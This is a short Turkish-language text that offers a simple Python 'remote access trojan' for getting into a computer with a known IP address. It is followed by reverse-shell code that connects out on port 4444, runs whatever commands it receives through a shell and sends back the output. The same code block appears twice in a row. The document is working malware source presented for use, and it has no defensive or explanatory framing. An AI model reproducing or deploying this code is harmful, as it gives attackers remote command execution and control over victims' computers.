Aşağıda, bilinen bir IP adresine sahip bir bilgisayarın içine erişmek için basit bir "remote access trojan" (RAT) Bu program, uzaktan bir bilgisayara erişim sağlayarak dosya okuma, komut çalıştırma ve sistem ayarlarını değiştirmeyi sağlar.
import socket
import subprocess
import os
# Bağlantı ayarları
host = "" # Hedef IP adresi
port = 4444
# Socket oluşturma
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
while True:
try:
# Gelen komutu al
command = s.recv(1024).decode()
if command == "exit":
break
# Komutu çalıştır
output = subprocess.check_output(command, shell=True)
s.send(output)
except Exception as e:
s.send(str(e).encode())
s.close()
import socket
import subprocess
import os
# Bağlantı ayarları
host = "" # Hedef IP adresi
port = 4444
# Socket oluşturma
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
while True:
try:
# Gelen komutu al
command = s.recv(1024).decode()
if command == "exit":
break
# Komutu çalıştır
output = subprocess.check_output(command, shell=True)
s.send(output)
except Exception as e:
s.send(str(e).encode())
s.close()

